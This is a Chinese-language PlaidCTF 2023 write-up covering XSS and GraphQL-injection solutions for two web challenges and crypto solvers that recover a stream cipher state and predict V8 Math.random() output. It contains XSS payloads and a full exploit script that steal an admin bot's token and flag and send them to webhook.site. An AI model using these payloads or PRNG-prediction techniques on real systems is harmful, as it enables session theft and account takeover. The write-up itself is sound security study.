PlaidCTF 2023 WriteUps

發表於 分類於

這周在 Balsn.217@TSJ.tw 中聯隊參加了這場，為之後 DEFCON CTF 合作做練習，我只解了點 crypto 和 web 的題目。

Web

Davy Jones' Putlocker: Dubs

這題有個 react 前端加上 graphql 後端，其中 graphql 有個 mutation { flag } 可以讓你拿 flag，然後還有個 admin bot，所以要想辦法 XSS。

diff 兩個版本 (Dubs part1 和 Subs part2) 可以發現關鍵在於 schema 的 playlist resolver 沒有用 micromark 過濾，所以可以直接 XSS 搞定。

playlist xss:

1
<iframe srcdoc="<script src=https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40></script>"></iframe>

webhook response:

1
2
3
4
5
6
7
8
9
10
11
12
fetch("/graphql", {
  "headers": {
    "authorization": localStorage.token,
    "content-type": "application/json"
  },
  "body": JSON.stringify({"operationName":"SelfQuery","variables":{},"query":`mutation SelfQuery {
      flag
   }`}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(t=>location='https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40?json='+encodeURIComponent(t))

然後 report 給 admin bot，就可以拿到 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
fetch("/graphql", {
  "headers": {
    "authorization": localStorage.token,
    "content-type": "application/json"
  },
  "body": JSON.stringify({"operationName":"SelfQuery","variables":{},"query":`mutation SelfQuery {
      report(url: "http://f7b6c0fd-1354-45d7-9518-848229cfeff7.dubs.putlocker.chal.pwni.ng:20003/user/aec7af49-fd20-44c9-b00b-ec60545edc71")
   }`}),
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(r=>r.text()).then(t=>location='https://webhook.site/d8cecb91-c417-4202-a739-6f56756a1e40?json='+encodeURIComponent(t))

Davy Jones' Putlocker: Subs

顯然上一題是 unintended，因為一個 350 分的題目不可能這麼簡單 XD。作者也說了上面那題可以那樣解真的是大失誤，正確來說這題解法的其中一半是上一題的 intended solution，不過因為沒有人用 intended solution 解前一題所以這題會更難解點。

diff 之後可以發現它把那個 playlist resolver XSS 堵住了，所以只能找其他方法 XSS。

主要問題點在於 client 的 Playlist.tsx 有這個:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
export const Playlist = () => {
	const params = useParams();
	const id = params.id as string;
	const qs = useQs() as { index?: number, autoplay?: boolean };
	// omitted...
	return (
		<PlaylistView
			id={uuidify(id)}
			{...qs}
			onSetIndex={(index: number) => {
				navigate(`/playlist/${id}?${encodeQs({ ...qs, index })}`, { replace: true });
			}}
			onSetAutoplay={(autoplay: boolean) => {
				navigate(`/playlist/${id}?${encodeQs({ ...qs, autoplay })}`, { replace: true });
			}}
		/>
	);
};

可以發現那個 ...qs 讓我們能覆蓋掉 id={uuidify(id}，而 useQs 進去看之後知道是用 qs 這個 module parse 的，所以可以塞 nested object 等等。

然後 PlaylistView 有這個:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const PlaylistView = (props: PlaylistViewProps) => {
	const navigate = useNavigate();

	interface PlaylistQueryResult {
		playlist: {
			id: string;
			name: string;
			description: string;
			episodes: {
				id: string;
				name: string;
			}[];
			owner: {
				id: string;
				name: string;
			};
		};
	}

	const { data, loading, error } = useQuery<PlaylistQueryResult>(gql`
		query PlaylistQuery {
			playlist(id: ${props.id}) {
				id
				name
				description
				episodes {
					id
					name
				}
				owner {
					id
					name
				}
			}
		}
	`);
	// omitted...
}

可以發現 props.id 是可以控制的，所以看起來像是有 graphql injection，但實際上沒那麼簡單，因為它有個 gql 的 tagged template literal，所以需要看 gql 這個 function 是怎麼實作的才知道:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import { DocumentNode,parse, print } from "graphql/language";
import { isNode } from "graphql/language/ast";

const cache = new Map<string, DocumentNode>();

export function gql(literals: TemplateStringsArray, ...args: any[]) {
	const parts = [literals[0]];

	for (let i = 0; i < args.length; i++) {
		const arg: unknown = args[i];

		if (isNode(arg)) {
			parts.push(print(arg));
		} else if (arg === undefined || arg === null) {
			parts.push("null");
		} else {
			parts.push(JSON.stringify(arg));
		}

		parts.push(literals[i + 1]);
	}

	const source = parts.join("");

	if (cache.has(source)) {
		return cache.get(source)!;
	}

	const document = parse(source);
	cache.set(source, document);
	return document;
}

所以這邊最可能的一條路是讓 isNode(arg) 通過，然後想辦法 inject payload 進去。而 isNode 和 print 都是 graphql 內部的 function，所以代表 props.id 需要是一個 graphql AST node。稍微讀一下內部實作之後可知 { kind: 'Name', value: 'INJECTION_PAYLOAD' } 是最簡單的作法，所以 ?id[kind]=Name&id[value]=INJECTION_PAYLOAD 就可以了。

之後是要看怎麼利用 graphql injection 搞事，首先是它用的 client 是 Apollo Client，查了一下官方文件可以知道它預設會 cache query 的結果，經測試可以發現如果某個 query 在 cache 裡面存在，且請求的 field 全部都有的話就會直接從 cache 拿，不會發 request。所以我的想法是想辦法汙染 cache，然後讓後面 EpisodePanel 裡面發的請求拿到 cache 中的東西，然後就能 XSS。

經過一些測試發現 cache key 基本上是 __typename:id 的形式構成的，所以在想能不能蓋 __typename，所以就試了 __typename: name，但是結果會得到 HTTP 400。這是因為 apollo client 為了拿 cache key 都會自動幫你加上 __typename，所以 server 端就會認為這是個有衝突的 query。

後來我繼續查了一查發現有支援一些特殊的 directive 如 @client @export @connection 等等，其中 @client 是個告訴 apollo client 這個 field 不要送到 server 去，只在 local resolver 找就好了，所以 foo @client 之類的都會導致 field 在送 request 被移除掉。所以經過一些測試之後發現 __typename @client 是能有效移除 apollo client 硬是要幫你加的 __typename field，而你如果同時再多加一個 __typename: name 就能成功的利用 server 傳回的 name 作為 __typename 的值，然後說不定有機會能搞事。

不過就算找到了這個之後我還是沒找到一個 exploit 的思路，所以就在想能不能找 prototype pollution，因為預期中 graphql query 應該是不可控的，所以這部分的保護可能不是很充足，所以有個 prototype pollution 的 0day 也不是不可能的機會。

其實 __typename: name 這個原本是前一題(Dubs)的預期解，透過 cache 的 type confusion 來稿事

所以找了裡面的 deepMerge 發現說這個沒辦法 PP，之後又找了 graphql literal 和 js 物件轉換部分的 code 來看，也都沒找到 PP。

最後發現到的是 processSelectionSet 這邊讓我用 __proto__: foo @client 使得 cache.data.data.ROOT_QUERY.foo === Object.prototype。這個不是 PP，不過變成是可以從 Object.prototype 上讀東西寫到 cache 上，看起來似乎沒什麼用...。

後來倒退一步我發現 __proto__ 代表的是從某個 result object 上讀 __proto__，然後再存到指定的 ROOT_QUERY.foo 的 cache 中。那我如果把 __proto__ 換成其他的 key 呢? 結果是如果那個 key 有值的話也會被讀出來，然後寫到 ROOT_QUERY.foo 中。而如果出現重複的 key 的話只要有一個是 @client 就不會 error，所以:

1
2
3
4
pl2: playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { 
    peko: id
}
pl2: foo @client

會把從 playlist(id: "b4429f09-0f36-4e67-aa94-492a4d00b885") { peko: id } 讀到的資料寫到 ROOT_QUERY.foo 中，也就是 ROOT_QUERY.foo = { peko: '...' }。發現這件事之後我就知道我已經能解開這題了，只要用其他的物件透過 alias 去汙染某個 episode 就行了。為了要方便控制資料，我是用 playlist 作為基礎物件，然後用 username 塞 xss payload，所以整個 injection 大概會長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
"b4429f09-0f36-4e67-aa94-492a4d00b885") { 
       id
       name
       description: rawDescription
       episodes {
           id
           name
       }
       owner {
           id
           name
       }
   }
   pl2: playlist(id: "7f373fc9-6ba4-46e8-a14d-0464199a18b8") {
       id
       name
       description: owner {
         __html: name
       }
       url: name
       rating: name
       ratingCount: name
       show: owner {
           owner: shows {
               id
           }
       }
   }
   pl2: episode(id:"5aac1f62-6a23-4054-bd73-60d48396a13d") @client
   dummy: playlist(id: "00000000-0000-0000-0000-000000000000"

b4429f09-0f36-4e67-aa94-492a4d00b885 的 playlist 需要有個 episode id 為 5aac1f62-6a23-4054-bd73-60d48396a13d，而 7f373fc9-6ba4-46e8-a14d-0464199a18b8 需要是一個 playlist，而創建該 playlist 的 username 需要是 xss payload。全部整合在一起寫個 exploit script 就解掉這題了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import requests
import json
import os
from urllib.parse import quote

# host = "http://localhost:7008"
host = "http://c3365128-2e0e-4a33-bcd3-f7ffc8f33790.subs.putlocker.chal.pwni.ng:20002"
payload = (
    "<img src=x: onerror='location=`https://webhook.site/ed852d2a-b167-49da-9159-d48909b980bd?token=`+encodeURIComponent(localStorage.token)'>"
    + os.urandom(8).hex()
)


def graphql(query, variables={}, token=""):
    r = requests.post(
        host + "/graphql",
        json={"query": query, "variables": variables},
        headers={
            "Authorization": token,
        },
    )
    return r.json()


random_episode_id = graphql(
    """
query {
    recentEpisodes {
        id
    }
}
"""
)["data"]["recentEpisodes"][0]["id"]

token = graphql(
    """
mutation($payload: String!) {
    register(name: $payload, password: $payload)
}
""",
    {"payload": payload},
)["data"]["register"]
playlist_id = graphql(
    """
mutation($name: String!, $description: String!) {
    createPlaylist(name: $name, description: $description) {
        id
    }
}
""",
    {"name": "peko", "description": "miko"},
    token=token,
)["data"]["createPlaylist"]["id"]
print(
    graphql(
        """
mutation($playlist_id: ID!, $episode_id: ID!) {
    updatePlaylistEpisodes(id: $playlist_id, episodes: [$episode_id]) {
        id
    }
}
""",
        {"playlist_id": playlist_id, "episode_id": random_episode_id},
        token=token,
    )
)
print(payload)

# location='/playlist/peko?id[kind]=Name&id[value]='+encodeURIComponent(`"b4429f09-0f36-4e67-aa94-492a4d00b885") {
#         id
#         name
#         description: rawDescription
#         episodes {
#             id
#             name
#         }
#         owner {
#             id
#             name
#         }
#     }
#     pl2: playlist(id: "1b6ca857-9560-4f9b-93fd-e12f5f68dd0c") {
#         id
#         name
#         description: owner {
#           __html: name
#         }
#         url: name
#         rating: name
#         ratingCount: name
#         show: owner {
#             owner: shows {
#                 id
#             }
#         }
#     }
#     pl2: episode(id:"5aac1f62-6a23-4054-bd73-60d48396a13d") @client
#     dummy: playlist(id: "00000000-0000-0000-0000-000000000000"`)

url = (
    host
    + "/playlist/peko?id[kind]=Name&id[value]="
    + quote(
        """"%s") { 
        id
        name
        description: rawDescription
        episodes {
            id
            name
        }
        owner {
            id
            name
        }
    }
    pl2: playlist(id: "%s") {
        id
        name
        description: owner {
          __html: name
        }
        url: name
        rating: name
        ratingCount: name
        show: owner {
            owner: shows {
                id
            }
        }
    }
    pl2: episode(id:"%s") @client
    dummy: playlist(id: "00000000-0000-0000-0000-000000000000"
"""
        % (playlist_id, playlist_id, random_episode_id)
    )
)
# apollo client quriks caused this:
# cache.data.data.ROOT_QUERY['episode({"id":"..."})'] = {"id": "...", "name": "...", "description": {"__html": "..."}, ...}
print(url)

print(
    graphql(
        """
mutation($url: String!) {
    report(url: $url)
}
""",
        {"url": url},
        token=token,
    )
)

# grab admin token and `mutation { flag }`
# PCTF{say_what_you_will_about_these_sites_but_they_wont_pull_a_warner_bros_discovery_on_you_and_yeet_37_shows_into_the_void_f0e0079af5e5b05edbf5d248}

這題能拿到首殺還是多虧了 Ginoah 的一些幫助，不然有些細節我可能沒注意到

Crypto

bivalves: scallop

真的不太清楚這題的意義是啥，是隊友先用 z3 寫了個腳本，但是因為有 bug 所以沒辦法拿到 flag，所以 debug 掉之後再做點非常小的優化就解了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from z3 import *
from bitstream import BitStream
from bitstring import BitArray
import os
from tqdm import tqdm


def step(out=True):
    ret = None
    if out:
        ret = Xor(state[65], state[92])
    t1 = Xor(Xor(state[65], state[92]), Xor(And(state[90], state[91]), state[170]))
    t2 = Xor(Xor(state[161], state[176]), Xor(And(state[174], state[175]), state[68]))
    for i in range(92, 0, -1):
        state[i] = state[i - 1]
    state[0] = t2
    for i in range(176, 93, -1):
        state[i] = state[i - 1]
    state[93] = t1
    return ret


state = [Bool(f"s_{i}") for i in range(80 + 13 + 80 + 4)]
init_state = state[:]

ct = BitArray(
    bytes=b"\n_\x02s\xe6\xb4\xf5\xec\xfe\xd6\xb0\xb6\xfb\xf1\x9ab\xb7\x85p(p\x8e\xaf/\xa4'\xbf\x00\xf4\xac}c\x1e\x83\x00\xee\xcb\x90\x10\n\x91K,\xa3C`\x12w\xe8\x93\x0e+N\xba\xfa\xf9\xf7\xaf\x8f\t\xc3\xa0\xdf\x11\x07K\xb6\x17\xa0\xe3\xbdod\x0e\xbd\xc0\xf8\x90\xa2\xb5\xef\xdf\xa6\x9f\x04xW\x94\xc4\x97\xde,\xda\xb64\xf7\xde\xbeF8W\xfe\xa2\xcc\xf1\xe1O!\xe6#\xeb\x9d\xa9JT\x7f\xbd\xde\xf8\xd1\xec\x0b\x8f-\xf3q_y\xe4\xf7O\xfc\x86\xfa\xb9\xa5\x1d\x10\xc6\xde\xbb\xcc\xe5/\x81\xd4OO\"i~\x95\xf5|V\x08sJcB\x88\x1c;p\xec|!\xdb\xd0\x98lg\x0c\xe9=\xf5\xf0\xd3\tz\xab\xb4\xa7\\V\xe6\t\x92\x88\x00\xe9TC\xf6.\xc7q7+.\x92\x0c\x83\x9a.N\x84}\xe9\x0eiU\x10\xc0\x82E\x8b\xefl\xdb\x01\x03\xea\xe2)}\xe0\x07\x02h\xfc\xa0\xdc\x7f\xfb\xa9[\x19\xdc\xa1\xfb\xc4Yv\x1cm\xa0\x8dY\xd6\x16f\x14\\\xf0\xb1\xd3n\x82S[\xeb\xa0sz\"\x05\xea\xe2\x0f\xd0n\x0c\xfc\xaf\xee\xe7+c\xa2~K\\\x8f\xd3\xeb%\x87\xb2f.\xa9\x1b\xe9\x07\x1aP\x81&\xf0\xc1\x9aw\xf3\xcb\x93,\x1b\xdf\xfc\xaf\xb3?Q.S\xec\xc8g!tY\x99\xe8\x98\x14\x8c\x89\xdf\xbbv\xdf\x82\xd6\xb4tn\xec\xd1\xb1`@2kA*\x0b\xb9?A\xce\xd03\xb3\xf2\xbbV/\t'\xdf5\x81\xc5\x15\x8eB]E\xdd\xd6R\xf6\x9c8\xe5\x84\x15\x11\x1a_\x84\xb7\x9e\xec\xbd\x1ed\x17{J\xb8*\xe1\x82\xd4l\xd3\x8bod?\x0b\x1a\xe5t\x18\xbbh5yK\xbeR+\xa7G\x16\xc1\xa7p\xaf\x9c\x9e|\xce^\xf7%\xe4\xd0\xc2\x87\xac\x14\xb4\xa3\xbb\xf7\xb3&\xccaaY\xd0\xb3\xe3\xc7\xfb\xa8\x96ir5c\xf1[j\xdc\xe5'\x9a\xc5~{\xb5)\xcb\xab\xbe\xa9\x12X\x82\x088\xbf\x8c\x9caX\x8cxw\xbeMu#\xfe:\xcf\x1f\xc9\xbe\x11\t2\xe4\x97\x94<T\xc4\xa7\xf3\x8c\xdf\x9a\x0bHkx\xcc#\xf2\xf0{\x10\xf728}\xd7\x8e\x90\x9ce\xde\x19O?\xbb\x94IH\xd4vj\xd1C\x9f\x18\xf7\xf6=\x92p_\x82\x06\xf8\xe7\xdb\x15\x84|~hP\x88\n\xc7d\xc4\x8f\x08Z^>\xea\xe4\x1c\xd9_\x99\x99\xfc\xa4\xf8\x00\x01\xf0\xf1\x1e\xf5\x1f\xe4\x84\x0b`&/\xcd\xd2\xb7-?\xca"
)

known_pt = BitArray(
    bytes=(
        b"""There once was a ship that put to sea
The name of the ship was the Billy O' Tea
The winds blew up, her bow dipped down
Oh blow, my bully boys, blow (huh)

Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go

She'd not been two weeks from shore
When down on her right a whale bore
The captain called all hands and swore
He'd take that whale in tow (huh)

Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go

- """
    )
)

sol = Solver()

print(len(ct), len(known_pt))

for i in tqdm(range(300)):
    s = step()
    sol.add(s == Xor(ct[i], known_pt[i]))
assert sol.check() == sat

m = sol.model()
res = [bool(m.eval(x)) for x in init_state]


def py_step(out=True):
    ret = None
    if out:
        ret = py_state[65] ^ py_state[92]
    t1 = py_state[65] ^ py_state[92] ^ (py_state[90] & py_state[91]) ^ py_state[170]
    t2 = py_state[161] ^ py_state[176] ^ (py_state[174] & py_state[175]) ^ py_state[68]
    for i in range(92, 0, -1):
        py_state[i] = py_state[i - 1]
    py_state[0] = t2
    for i in range(176, 93, -1):
        py_state[i] = py_state[i - 1]
    py_state[93] = t1
    return ret


py_state = res[:]
pt = BitStream()
for i in tqdm(range(len(ct))):
    pt.write(py_step() ^ ct[i], bool)
print(pt.read(bytes, len(pt) // 8))
# pctf{but_the_whale_is_covered_in_barnacles}

fastrology: waxing crescent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 135;
const alphabet = '☊☋☌☍';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    output += alphabet[Math.floor(Math.random() * alphabet.length)];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

這題是要破解 V8 的 Math.random()，內部是用 xorshift128 做的，操作都是線性的。V8 那邊是拿 xorshift 的 (state0 >> 12) | 0x3FF0000000000000 之後轉成浮點數，也就是拿 state0 的高 52 bits 當作 mantissa。

而這邊 alphabet.length === 4，所以根據 Math.floor(Math.random() * alphabet.length) 是 0, 1, 2, 3 我們可以知道 state0 的 top 2 bits 是什麼，由此可以得到一個線性系統解開。

不過 V8 還有個比較麻煩的點是它有個 kCacheSize = 64 大小的 cache pool，一開始 pool 為空，取 random 時會從 pool 中拿，如果為空的話就會填滿 pool 然後再拿。然而它的 pool 是後進先出 (LIFO) 的，所以它的輸出其實是以 64 一組順序顛倒的。

因為我們不知道 warmup_len 是多少，所以就直接爆，反正爆錯了的話線性系統是找不到解答的 (rows >> cols)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from sage.all import *
from pwn import process, remote
from pwnlib.util.iters import mbruteforce
import hashlib
import string
from itertools import product
from tqdm import tqdm


def solve_pow(io):
    io.recvuntil(b"starting with ")
    prefix = io.recvuntil(b" ", drop=True).decode()
    suffix = mbruteforce(
        lambda x: hashlib.sha256((prefix + x).encode()).hexdigest()[-6:] == "ffffff",
        alphabet=string.ascii_letters + string.digits,
        length=8,
        method="fixed",
    )
    print(hashlib.sha256((prefix + suffix).encode()).hexdigest())
    io.sendlineafter(b"ffffff.\n", (prefix + suffix).encode())


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift128_next(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def padlist(x, n):
    return x + ["?"] * (n - len(x))


syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
R = PolynomialRing(GF(2), syms)
s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])
states = []
for i in range(64 * 6):
    s0, s1 = xorshift128_next(s0, s1)
    states.append((s0, s1))

prefix_length = 135


def solve(orig_nums, start_offset=None):
    if start_offset is None:
        for i in tqdm(range(64)):
            r = solve(orig_nums, i)
            if r:
                return r
        return
    nums = ["?"] * start_offset + orig_nums
    kCacheSize = 64  # v8 cache size
    chunks = [
        padlist(nums[i : i + kCacheSize], kCacheSize)
        for i in range(0, len(nums), kCacheSize)
    ]
    nums = sum([chk[::-1] for chk in chunks], [])

    eq = []
    for i in range(len(nums)):
        s0, s1 = states[i]
        if nums[i] == "?":
            continue
        bits = f"{nums[i]:02b}"
        eq.append(s0[1] - int(bits[1]))
        eq.append(s0[0] - int(bits[0]))

    M, v = Sequence(eq).coefficient_matrix()
    M = M.dense_matrix()
    A = M[:, :-1]
    b = vector(-M[:, -1])
    try:
        sol = A.solve_right(b)
    except Exception as e:
        return
    print("start offset", start_offset)
    print("sol", sol)

    outs = []
    for i in range(start_offset + prefix_length + 128 + 64 - 7):
        s0, s1 = states[i]
        b0 = s0[0](*sol)
        b1 = s0[1](*sol)
        out = ZZ(b0) * 2 + ZZ(b1)
        outs.append(out)

    chunks = [
        padlist(outs[i : i + kCacheSize], kCacheSize)
        for i in range(0, len(outs), kCacheSize)
    ]
    outs = sum([chk[::-1] for chk in chunks], [])
    ret = outs[start_offset + prefix_length : start_offset + prefix_length + 128]
    if "?" not in ret:
        return [ret]

    ret_all = []
    unk_idx = [i for i, x in enumerate(ret) if x == "?"]
    for i in product(range(4), repeat=len(unk_idx)):
        ret2 = ret[:]
        for j, idx in enumerate(unk_idx):
            ret2[idx] = i[j]
        ret_all.append(ret2)
    return ret_all


# io = process(["python", "server.py"])
io = remote("fastrology.chal.pwni.ng", 1337)
solve_pow(io)
io.recvuntil(b"]\n")
io.sendline(b"waxing crescent")

charset = "☊☋☌☍"
for _ in range(50):
    io.recvuntil(b"/50\n")
    s = io.recvlineS().strip()
    h = io.recvlineS().strip()
    print(s, h)
    nums = [charset.index(c) for c in s]
    for pred_nums in solve(nums):
        pred = "".join([charset[i] for i in pred_nums])
        if hashlib.md5(pred.encode()).hexdigest() == h:
            print(pred)
            io.sendline(pred.encode())
            break

io.interactive()
# PCTF{moon_wobbles_from_libration_are_kinda_freaky_0bacbc2a52}

*fastrology: new moon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 192;
const alphabet = '♈♉♊♋♌♍♎♏♐♑♒♓⛎';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    output += alphabet[Math.floor(Math.random() * alphabet.length)];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

這題主要的不同點在於 alphabet.length === 13，不像 4 一樣那麼好直接反推 bits。我這邊是寫了個腳本去按照 top 3 bits 作為 bucket 去分割，然後就能發現有些 floor 過的輸出是能回推出唯一的 top 3 bits，所以一樣能得到線性系統解掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import struct, math, random
from collections import defaultdict


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


# f = u2fp((1 << 51) + (1 << 50))
# print(f, math.floor(f * 4))
# print(fp2u(f))

# for i in range(4):
#     f = u2fp(i << 50)
#     print(f, math.floor(f * 4))
#     assert math.floor(f * 4) == i
#     assert fp2u(f) == i << 50

# for i in range(16):
#     f = u2fp(i << 48)
#     print(f, i, math.floor(f * 13))

bits = 3
buckets = defaultdict(set)
for _ in range(100000):
    f = random.random()
    buckets[fp2u(f) >> (52 - bits)].add(math.floor(f * 13))
cnt = defaultdict(int)
for i in range(1 << bits):
    print(i, buckets[i])
    for x in buckets[i]:
        cnt[x] += 1
print(cnt)
for i in range(1 << bits):
    for x, y in cnt.items():
        if y > 1:
            buckets[i].discard(x)
    print(i, buckets[i])

然而我 code 寫爛了，導致我都沒解出來，所以最後是 toxicpie 拿到 flag 的。不過我後來還是有把自己在 sage 的 test script 修好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import struct, math, random
from binteger import Bin


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


# fmt: off
nums = [11,9,3,3,11,6,12,6,5,0,6,4,12,4,6,3,1,3,3,10,2,1,9,9,6,2,3,4,10,2,1,8,7,12,6,10,8,2,9,3,8,4,9,2,8,0,6,3,12,0,2,1,8,5,11,5,10,3,3,3,5,3,12,4,5,5,6,6,5,11,11,5,3,7,10,3,10,11,12,8,2,6,0,2,9,3,10,12,10,11,6,11,0,9,12,8,5,4,11,11,10,5,0,3,3,1,4,5,1,12,5,0,2,1,6,9,10,0,8,4,2,11,12,7,0,3,1,5,8,1,8,6,12,4,4,6,11,11,6,9,5,2,4,1,4,8,5,10,0,9,1,0,4,12,4,2,5,0,2,3,4,9,7,3,1,1,10,12,12,6,11,4,1,6,0,5,0,12,5,1,2,4,9,1,9,11,9,8,9,8,1,3,4,1,3,3,5,7,4,5,12,11,7,11,5,7,8,3,0,12,10,6,6,1,7,6,0,11,11,0,11,9,12,0,10,12,1,5,7,10,11,1,5,1,12,7,5,8,10,9,1,10,11,4,5,9,10,2,11,5,10,12,8,12,7,12,11,8,9,6,5,4,2,4,1,8,0,6,7,10,6,11,2,6,1,4,5,1,3,1,9,8,6,8,11,1,4,1,3,3,3,6,5,8,8,6,3,8,1,3,2,9,9,0,11,8,3,10,12,12,10,8,6,10,5,7,6,0,3,10]
# fmt: on
pred = nums[192:]
nums = nums[:192]
numspred = nums + pred
startOffset = 0
nums = ["?"] * startOffset + nums
numspred = ["?"] * startOffset + numspred
kCacheSize = 64  # v8 cache size


def padlist(x, n):
    return x + ["?"] * (n - len(x))


chunks = [
    padlist(nums[i : i + kCacheSize], kCacheSize)
    for i in range(0, len(nums), kCacheSize)
]
nums = sum([chk[::-1] for chk in chunks], [])
chunks = [
    padlist(numspred[i : i + kCacheSize], kCacheSize)
    for i in range(0, len(numspred), kCacheSize)
]
numspred = sum([chk[::-1] for chk in chunks], [])


syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
R = PolynomialRing(GF(2), syms)
s0 = vector(R.gens()[:64])
s1 = vector(R.gens()[64:])


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift128_next(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


tbl = {0: 0, 2: 1, 5: 3, 7: 4, 10: 6, 12: 7}

prefix_len = len(nums)
eq = []
for i in range(prefix_len):
    s0, s1 = xorshift128_next(s0, s1)
    if nums[i] == "?":
        continue
    if nums[i] not in tbl:
        continue
    bits = f"{tbl[nums[i]]:03b}"
    eq.append(s0[0] - int(bits[0]))
    eq.append(s0[1] - int(bits[1]))
    eq.append(s0[2] - int(bits[2]))
M, v = Sequence(eq).coefficient_matrix()
print(vector(v))
M = M.dense_matrix()
A = M[:, :-1]
b = vector(-M[:, -1])
